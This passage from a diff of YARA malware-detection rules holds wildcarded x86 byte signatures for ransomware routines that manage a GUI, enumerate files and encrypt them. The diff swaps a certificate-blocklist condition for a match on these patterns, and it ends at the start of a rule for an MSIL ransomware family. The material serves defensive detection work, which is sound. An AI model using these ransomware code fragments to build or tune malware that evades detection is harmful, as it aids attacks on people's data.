74 + 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A + ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 74 24 ?? FF D7 6A + ?? 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 56 8B 74 24 + } + $manage_gui_p3 = { + 56 FF D7 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 33 C0 5F + 5E 8B E5 5D C2 ?? ?? 0F B7 45 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? + 83 E8 ?? 0F 84 ?? ?? ?? ?? 2D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 7D ?? 6A ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 6A ?? 8D 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 50 0F 57 C0 C6 44 24 ?? ?? 68 ?? ?? ?? ?? 57 0F 29 44 24 + ?? 0F 29 44 24 ?? FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA + 83 F9 ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 5F 5E 8B E5 + 5D C2 ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 50 + 6A ?? 6A ?? 6A ?? 6A ?? FF D6 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 56 6A ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? + ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? 6A ?? FF 75 ?? FF 15 ?? + ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 8B E5 5D C2 ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 + 56 FF 15 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 00 0F 10 05 ?? ?? ?? ?? 0F 11 40 ?? + F3 0F 7E 05 ?? ?? ?? ?? 66 0F D6 40 ?? 66 8B 0D ?? ?? ?? ?? 66 89 48 ?? 8A 0D ?? ?? + ?? ?? 88 48 ?? EB ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? + 8B F0 56 FF 15 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 00 0F 10 05 ?? ?? ?? ?? 0F 11 + 40 ?? 66 8B 0D ?? ?? ?? ?? 66 89 48 ?? 8A 0D ?? ?? ?? ?? 88 48 ?? 56 FF 15 ?? ?? ?? + ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? 3D ?? ?? ?? ?? 75 ?? 81 7D + } + $find_files_v1_p1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 8B FA 8B D9 89 5D ?? 66 83 FF ?? 75 + ?? 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B CB 89 45 ?? 83 C4 ?? 66 A1 ?? ?? ?? ?? 66 89 45 ?? + 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 81 F9 ?? ?? ?? ?? 0F 87 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 0F B7 0B 0F B7 95 ?? ?? + ?? ?? 8B D9 8B F2 8D 41 ?? 0F B7 C0 8D 4A ?? 89 45 ?? 66 83 F9 ?? 8D 46 ?? 0F B7 D0 + 8B C6 8B 35 ?? ?? ?? ?? 0F 47 D0 66 83 7D ?? ?? 8D 43 ?? 0F B7 C8 8B C3 0F 47 C8 66 + 3B D1 0F 85 ?? ?? ?? ?? 66 83 7D ?? ?? 8D 43 ?? 0F B7 C8 8B C3 8B 5D ?? 0F 47 C8 0F + B7 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 66 89 0B 68 ?? ?? ?? ?? 50 FF + D6 8D 8D ?? ?? ?? ?? 83 C4 ?? 8D 51 ?? 0F 1F 80 ?? ?? ?? ?? 66 8B 01 83 C1 ?? 66 85 + C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? D1 F9 51 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? + 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? A8 + ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 5D ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D6 83 + C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 83 + FE ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 0F 1F 80 ?? ?? ?? ?? 66 8B 01 83 + C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 81 F9 ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? + ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 + 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F + 84 ?? ?? ?? ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 + } + $find_files_v1_p2 = { + 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 + ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C0 53 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 53 + 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 66 83 + FF ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? + 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? EB ?? 66 83 FF ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 66 89 85 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 66 83 FF ?? 75 ?? 8D 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 33 F6 66 66 0F 1F 84 00 + ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? 74 ?? 57 6A ?? 6A ?? 51 E8 ?? ?? + ?? ?? 46 83 C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 57 E8 ?? ?? ?? ?? 8B 75 ?? 83 C4 ?? 56 FF + 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files_v1_p1 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 51 53 81 EC ?? ?? ?? ?? 53 56 57 89 65 + ?? 8B F9 89 7D ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 0F 11 85 ?? ?? ?? ?? 0F 11 45 ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 0F 13 45 ?? 66 0F 13 + 45 ?? 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 57 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? + 8B F7 8D 4E ?? 0F 1F 00 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 83 C6 ?? 89 75 + ?? C7 45 ?? ?? ?? ?? ?? 33 C9 8B C6 BA ?? ?? ?? ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 + ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 33 C9 66 89 08 57 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? + ?? ?? ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 8B 75 ?? 56 E8 ?? ?? + ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 56 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B CA + 89 4D ?? 85 C9 0F 8C ?? ?? ?? ?? 7F ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8B F8 89 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? BA ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? + 6A ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 57 FF 75 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 8B C8 89 4D ?? 99 8B F0 89 75 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 81 + } + $encrypt_files_v1_p2 = { + F9 ?? ?? ?? ?? 7E ?? B9 ?? ?? ?? ?? 8B F7 8D BD ?? ?? ?? ?? F3 A5 8D 45 ?? 50 8D 45 + ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? FF 75 ?? 8B 7D ?? 57 8B 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 85 ?? + ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 75 ?? 56 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? + 83 C4 ?? EB ?? 51 57 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 45 + ?? 50 8D 85 ?? ?? ?? ?? 50 56 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF + 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 03 C6 89 45 ?? + 8B 4D ?? 13 4D ?? 89 4D ?? 3B 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 45 ?? 0F 82 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? FF 75 ?? E8 ?? + ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 56 51 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 6A ?? 57 E8 ?? ?? ?? ?? 6A ?? 8B D7 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 89 + 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 70 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 56 8B D0 8B + 7D ?? 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 56 8B 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? + 85 FF 74 ?? 8B CF E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 8B 7D ?? 8B 75 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 57 FF 15 ?? ?? ?? ?? 83 E0 ?? 50 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? + ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D 8B E3 5B C3 + } + $find_files_v2_p1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8B C2 8B D9 89 45 ?? 89 5D ?? 56 57 66 83 + F8 ?? 75 ?? 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B CB 89 45 ?? 83 C4 ?? 66 A1 ?? ?? ?? ?? 66 + 89 45 ?? 8D 51 ?? 66 0F 1F 44 00 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 81 + F9 ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 0F B7 85 ?? ?? ?? ?? 8B F0 8D 48 ?? 8D 46 ?? 66 83 F9 ?? 0F B7 D0 8B CE 8B C6 0F + 47 D0 0F B7 03 0F B7 FA 8B D0 83 C0 ?? 0F B7 D8 66 83 F8 ?? 8B C6 76 ?? 0F B7 F0 83 + FB ?? 8D 42 ?? 0F B7 C8 8B C2 0F 47 C8 66 3B F9 8B 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 8B 5D ?? 83 C4 ?? 0F B7 + 03 8B F0 8B C8 83 C1 ?? 66 83 F9 ?? 8D 46 ?? 0F B7 D0 8B C6 0F 47 D0 0F B7 85 ?? ?? + ?? ?? 8B C8 66 89 13 8D 50 ?? 8D 41 ?? 66 83 FA ?? 0F B7 F0 8B C1 8B CB 0F 47 F0 66 + 89 B5 ?? ?? ?? ?? 8D 51 ?? 0F 1F 00 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 83 + F9 ?? 76 ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? + EB ?? 8B 5D ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 83 C4 ?? 8D 85 ?? ?? ?? + ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B + 8D ?? ?? ?? ?? 8D 41 ?? 66 83 F8 ?? 77 ?? 8D 41 ?? 0F B7 F8 EB ?? 0F B7 F9 0F B7 03 + } + $find_files_v2_p2 = { + 8B F0 8B C8 83 C1 ?? 66 83 F9 ?? 8D 46 ?? 0F B7 D0 8B C6 0F 47 D0 66 3B FA 8B 95 ?? + ?? ?? ?? 75 ?? 83 FA ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 70 ?? 66 8B 08 83 C0 + ?? 66 85 C9 75 ?? 2B C6 D1 F8 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FA ?? 0F 84 ?? ?? + ?? ?? 81 FA ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 C2 ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 8D 85 + ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 + C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D + 4D ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? + ?? ?? ?? 33 C0 53 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 55 + ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 53 66 89 85 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 66 83 F8 + } + $find_files_v2_p3 = { + 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 51 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? EB ?? 66 83 F8 ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 74 ?? 83 EC ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 66 89 85 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 66 83 F8 ?? 75 ?? 8D 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 33 F6 0F 1F 00 + 80 BE ?? ?? ?? ?? ?? 8D 8E ?? ?? ?? ?? 74 ?? 57 6A ?? 6A ?? 51 E8 ?? ?? ?? ?? 46 83 + C4 ?? 81 FE ?? ?? ?? ?? 7C ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? FF 15 ?? ?? ?? ?? + 5F 5E 5B 8B E5 5D C3 + } + $encrypt_files_v2_p1 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 51 53 81 EC ?? ?? ?? ?? 53 56 57 89 65 + ?? 8B F1 89 75 ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 0F 11 85 ?? ?? ?? ?? 0F 11 45 ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 0F 13 45 ?? 66 0F 13 + 45 ?? 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 56 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 8E ?? + ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4E ?? 0F 1F 80 ?? ?? ?? ?? + 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 83 C6 ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? + 33 C9 8B C6 BA ?? ?? ?? ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B + F8 89 7D ?? 33 C0 66 89 07 FF 75 ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 + 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 57 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 8E ?? + ?? ?? ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? + 8B CA 89 4D ?? 85 C9 0F 8C ?? ?? ?? ?? 7F ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 89 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? BA ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 + C4 ?? 6A ?? 8D 45 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 90 68 ?? ?? ?? ?? 57 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 89 + } + $encrypt_files_v2_p2 = { + 4D ?? 99 8B F0 89 75 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 7E ?? B9 ?? + ?? ?? ?? 8B F7 8D BD ?? ?? ?? ?? F3 A5 8D 45 ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 + 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B 7D ?? + 57 8B 75 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 75 ?? 56 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 51 57 8D 85 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 + 56 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 + FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 03 C6 89 45 ?? 8B 4D ?? 13 4D ?? 89 4D ?? + 3B 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 45 ?? 0F 82 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF + 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? + ?? ?? 8B F0 89 75 ?? 56 51 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 57 E8 + ?? ?? ?? ?? 6A ?? 8B D7 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? + 8D 70 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 56 8B D0 8B 7D ?? 8B CF E8 ?? ?? ?? ?? + 83 C4 ?? 56 8B 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 ?? 8B CF E8 ?? ?? + ?? ?? 8B 45 ?? 85 C0 74 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 56 E8 ?? ?? ?? ?? + 83 C4 ?? 8B 7D ?? 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? 8B 75 ?? 8B 45 ?? 85 C0 7E ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? + ?? ?? 83 C4 ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D 8B E3 5B C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CUS Software GmbH" and pe.signatures [ i ] . serial == "3a:d6:0c:ea:73:e1:dd:1a:3e:6c:02:d9:b3:39:c3:80" and 1567036800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $manage_gui_p* ) ) and ( ( ( all of ( $find_files_v1_p* ) ) and ( all of ( $encrypt_files_v1_p* ) ) ) or ( ( all of ( $find_files_v2_p* ) ) and ( all of ( $encrypt_files_v2_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_7Df2Dfed47C6Fd6542131847Cffbc102 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Goodwill : TC_DETECTION MALICIOUS MALWARE FILE { meta: - 